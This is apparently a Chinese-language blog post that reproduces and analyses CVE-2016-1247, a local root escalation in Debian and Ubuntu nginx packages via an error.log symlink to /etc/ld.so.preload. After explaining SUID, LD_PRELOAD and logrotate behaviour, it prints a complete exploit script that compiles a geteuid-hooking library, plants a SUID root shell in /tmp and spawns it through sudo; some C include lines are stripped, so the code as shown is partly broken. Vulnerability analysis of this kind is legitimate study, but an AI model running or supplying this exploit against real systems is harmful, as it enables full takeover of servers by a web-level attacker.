CVE-2016-1247:Debian、Ubuntu发行版的Nginx本地提权漏洞本地复现及分析

0x00.前言
继tomcat本地提权之后,最近又爆出了nginx deb包的本地提权漏洞,在本地测试分析之后,我发现其实这两个漏洞的触发点都是在同一处,利用方式也大同小异。相比deb包版的tomcat提权漏洞,这个漏洞的可用性更高一点,因为大多情况下tomcat的那个漏洞需要root管理员的交互操作(我想大多数时候没有自动定时重启tomcat的),但是如果nginx在/etc/logrotate.d/nginx已经设置了’daily’日志自动回滚的条件下,是不需要管理员交互就可以拿到root的。当我们通过web服务拿到一个web权限的时候,那么这个漏洞可用性还是很高的。

0x01.分析
这个漏洞的关键点是nginx日志目录下的error.log删除后将会root权限创建的,当nginx重新启动完成后,这个日志的文件用户拥有者又会回到www-data,意思这个过程中会有一次权限变化的过程,而且会首先用到root的权限,那么在这个过程中我们就可以从这短暂的root权限出发,想办法获得root从而达到提权的目的。这其实就跟tomcat的catalina.out文件一样 。具体怎么实现呢?从已经爆出的exp可以看出大致的利用过程,首先我们需要了解以下几点:
1.liunx使用touch创建文件,存在文件存在、不存在、存在为符号链接等等的情况,当文件为符号链接时会默认地对链接的文件进行操作。

2.Linux系统都支持应用程序在运行时进行动态链接库函数,以提供强大的扩展能力,所以Linux提供了一种可以在运行时重载/覆盖调用默认函数的环境变量,即LD_PRELOAD,LD_PRELOAD可以影响程序运行时的链接,它允许你定义在程序运行前优先加载动态链接库。这个功能主要用来有选择性的载入不同动态链接库中相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。而在liunx下/etc/ld.so.cache可以控制动态库的查找方式,但事实上我们也没必要那么麻烦去修改这个文件,因为稍微修改错了可能系统整个就挂掉了,这里只是提一下。从exp我们可以看出还可以通过另一种方式来覆盖程序加载的动态库中的函数,即通过/etc/ld.so.preload文件,查了一些资料,Linux各个发行版中默认都不存在该文件,如果我们在/etc/ld.so.preload文件中加入一个so路径,那么elf程序在运行的时候都必然会去加载这个so并且优先使用里面的函数!但该文件由于处在/etc目录中,创建或者修改都需要root权限。

3.Linux系统下的文件除了rwx之外还有一种重要的权限,即s。linux系统中每个进程都有2个ID,分别为用户ID(uid)和有效用户ID(euid),UID一般表示进程的创建者(属于哪个用户创建),而EUID表示进程对于文件和资源的访问权限(具备等同于哪个用户的权限)。即真实的进程权限是有EUID标注的而非UID。当一个可执行文件的权限设置了set-user-ID位,那么它在执行时,进程的euid就是程序文件所属用户的ID!最直接的例子,就是sudo这个程序的文件权限:

所以当执行sudo程序的时候,我们可以以它所属用户的权限,即root(0)来操作系统。因此,一个最常见的提权思路,即为控制sudo的执行思路,绕过或者更改验证而直接执行代码。通过readelf查看sudo的引用的外部函数:

可以看到,sudo的执行过程中会用到getuid或者setuid这种函数,结合LD_PRELOAD环境变量,由于sudo程序只要装载进内存中它的euid必然是root,那么在执行验证之前那么我们使用LD_PRELOAD来覆盖要加载的getuid函数,就可以绕过验证使用root权限来执行代码了。

在了解了以上几点之后,那么总结一下,当我们将error.log这个文件删除又建立一个到ld.so.preload文件的软连接,在nginx重启时将会以root权限创建日志文件的同时也会操作ld.so.preload文件,重启完成后ld.so.preload文件就会和error.log一样变成了www-data用户拥有,这时我们就可以任意操作ld.so.preload文件了。接着我们就能将我们用来覆盖getuid方法的编译好的so文件并将其写入ld.so.preload文件,最后在执行sudo的时候就会优先加载我们自定义的getuid方法,从而实现权限提升。

0x02.漏洞利用
环境版本:

1.切换到www-data用户权限。首先删除error.log文件,并建一个指向ld.so.preload文件的软连接。


2.因为用apt-get默认安装的Nginx通过/etc/logrotate.d/nginx文件会每天定时回滚日志(如下图’daliy’),这里我们手动执行回滚,让它重新创建error日志文件,也就创建了ld.so.preload文件,当重启完成后并本地访问一次(为了让logrotation得到触发),这时ld.so.preload文件也变成了www-data用户拥有,那么我们就可以在里面写入重写后的getuid方法的so文件。

当我们访问一次本地,让logrotation得到触发后,手动执行日志回滚。(实际过程中会在每天早上自动回滚,我们只需要等待)


可以看到ld.so.preload的用户已经是www-data,用户组是root

3.当ld.so.preload文件为www-data所有时,我们就可以在www-data用户权限下将重写过的getuid方法编译成so文件并写入ld.so.preload文件

gcc -Wall -fPIC -shared -o nginx.so nginx.c -ldl

将编译好的so文件路径写入ld.so.preload文件

创建后门并通过执行sudo让系统自动加载ld.so.preload中的我们重写的getuid方法。最终拿到root,效果如下:

完整exp(来自播报360)其实自己也很好编写的:

BACKDOORSH="/bin/bash"
BACKDOORPATH="/tmp/nginxrootsh"
PRIVESCLIB="/tmp/privesclib.so"
PRIVESCSRC="/tmp/privesclib.c"
SUIDBIN="/usr/bin/sudo"
function cleanexit {
# Cleanup 
echo -e "\n[+] Cleaning up..."
rm -f $PRIVESCSRC
rm -f $PRIVESCLIB
rm -f $ERRORLOG
touch $ERRORLOG
if [ -f /etc/ld.so.preload ]; then
echo -n > /etc/ld.so.preload
fi
echo -e "\n[+] Job done. Exiting with code $1 \n"
exit $1
}
function ctrl_c() {
        echo -e "\n[+] Ctrl+C pressed"
cleanexit 0
}
#intro 
cat <
 -------------------------------
           \ 
            \          __---__
                    _-       /--______
               __--( /     \ )XXXXXXXXXXX\v.  
             .-XXX(   O   O  )XXXXXXXXXXXXXXX- 
            /XXX(       U     )        XXXXXXX\ 
          /XXXXX(              )--_  XXXXXXXXXXX\ 
         /XXXXX/ (      O     )   XXXXXX   \XXXXX\ 
         XXXXX/   /            XXXXXX   \__ \XXXXX
         XXXXXX__/          XXXXXX         \__---->
 ---___  XXX__/          XXXXXX      \__         /
   \-  --__/   ___/\  XXXXXX            /  ___--/=
    \-\    ___/    XXXXXX              '--- XXXXXX
       \-\/XXX\ XXXXXX                      /XXXXX
         \XXXXXXXXX   \                    /XXXXX/
          \XXXXXX      >                 _/XXXXX/
            \XXXXX--__/              __-- XXXX/
             -XXXXXXXX---------------  XXXXXX-
                \XXXXXXXXXXXXXXXXXXXXXXXXXX/
                  ""VXXXXXXXXXXXXXXXXXXV""
_eascii_
echo -e "\033[94m \nNginx (Debian-based distros) - Root Privilege Escalation PoC Exploit (CVE-2016-1247) \nnginxed-root.sh (ver. 1.0)\n"
echo -e "Discovered and coded by: \n\nDawid Golunski \nhttps://legalhackers.com \033[0m"
# Args
if [ $# -lt 1 ]; then
echo -e "\n[!] Exploit usage: \n\n$0 path_to_error.log \n"
echo -e "It seems that this server uses: `ps aux | grep nginx | awk -F'log-error=' '{ print $2 }' | cut -d' ' -f1 | grep '/'`\n"
exit 3
fi
# Priv check
echo -e "\n[+] Starting the exploit as: \n\033[94m`id`\033[0m"
id | grep -q www-data
if [ $? -ne 0 ]; then
echo -e "\n[!] You need to execute the exploit as www-data user! Exiting.\n"
exit 3
fi
# Set target paths
ERRORLOG="$1"
if [ ! -f $ERRORLOG ]; then
echo -e "\n[!] The specified Nginx error log ($ERRORLOG) doesn't exist. Try again.\n"
exit 3
fi
# [ Exploitation ]
trap ctrl_c INT
# Compile privesc preload library
echo -e "\n[+] Compiling the privesc shared library ($PRIVESCSRC)"
cat <$PRIVESCSRC
#define _GNU_SOURCE
#include 
#include <sys/stat.h>
#include 
#include 
       #include <sys/types.h>
       #include <sys/stat.h>
       #include 
uid_t geteuid(void) {
static uid_t  (*old_geteuid)();
old_geteuid = dlsym(RTLD_NEXT, "geteuid");
if ( old_geteuid() == 0 ) {
chown("$BACKDOORPATH", 0, 0);
chmod("$BACKDOORPATH", 04777);
unlink("/etc/ld.so.preload");
}
return old_geteuid();
}
_solibeof_
/bin/bash -c "gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl"
if [ $? -ne 0 ]; then
echo -e "\n[!] Failed to compile the privesc lib $PRIVESCSRC."
cleanexit 2;
fi
# Prepare backdoor shell
cp $BACKDOORSH $BACKDOORPATH
echo -e "\n[+] Backdoor/low-priv shell installed at: \n`ls -l $BACKDOORPATH`"
# Safety check
if [ -f /etc/ld.so.preload ]; then
echo -e "\n[!] /etc/ld.so.preload already exists. Exiting for safety."
exit 2
fi
# Symlink the log file
rm -f $ERRORLOG && ln -s /etc/ld.so.preload $ERRORLOG
if [ $? -ne 0 ]; then
echo -e "\n[!] Couldn't remove the $ERRORLOG file or create a symlink."
cleanexit 3
fi
echo -e "\n[+] The server appears to be \033[94m(N)jinxed\033[0m (writable logdir) ! 🙂 Symlink created at: \n`ls -l $ERRORLOG`"
# Make sure the nginx access.log contains at least 1 line for the logrotation to get triggered
curl http://localhost/ >/dev/null 2>/dev/null
# Wait for Nginx to re-open the logs/USR1 signal after the logrotation (if daily 
# rotation is enable in logrotate config for nginx, this should happen within 24h at 6:25am)
echo -ne "\n[+] Waiting for Nginx service to be restarted (-USR1) by logrotate called from cron.daily at 6:25am..."
while :; do 
sleep 1
if [ -f /etc/ld.so.preload ]; then
echo $PRIVESCLIB > /etc/ld.so.preload
rm -f $ERRORLOG
break;
fi
done
# /etc/ld.so.preload should be owned by www-data user at this point
# Inject the privesc.so shared library to escalate privileges
echo $PRIVESCLIB > /etc/ld.so.preload
echo -e "\n[+] Nginx restarted. The /etc/ld.so.preload file got created with web server privileges: \n`ls -l /etc/ld.so.preload`"
echo -e "\n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload"
echo -e "\n[+] The /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload`"
chmod 755 /etc/ld.so.preload
# Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)
echo -e "\n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!"
sudo 2>/dev/null >/dev/null
# Check for the rootshell
ls -l $BACKDOORPATH
ls -l $BACKDOORPATH | grep rws | grep -q root
if [ $? -eq 0 ]; then 
echo -e "\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPATH`"
echo -e "\n\033[94mThe server is (N)jinxed ! 😉 Got root via Nginx!\033[0m"
else
echo -e "\n[!] Failed to get root"
cleanexit 2
fi
rm -f $ERRORLOG
echo > $ERRORLOG
  
# Use the rootshell to perform cleanup that requires root privilges
$BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB"
# Reset the logging to error.log
$BACKDOORPATH -p -c "kill -USR1 `pidof -s nginx`"
# Execute the rootshell
echo -e "\n[+] Spawning the rootshell $BACKDOORPATH now! \n"
$BACKDOORPATH -p -i
# Job done.
cleanexit 0:

0x04.总结
从tomcat deb版的本地提权再到nginx的,从两者漏洞的触发点可以看出几乎是一样的,两者的利用脚本也就是一些批处理,过程很简单,但是漏洞发掘肯定还是很难的,我在想这两个漏洞的作者会不会是同一人啊 ,而且我相信还有很多deb软件包中也肯定存在这样的问题。但无奈本人太菜了,做一下简单的漏洞分析都头晕晕的,漏洞发掘的事离我还比较远,先慢慢分析学习吧,不急 :)。

参考连接:
http://bobao.360.cn/learning/detail/3195.html

发表评论

电子邮件地址不会被公开。 必填项已用*标注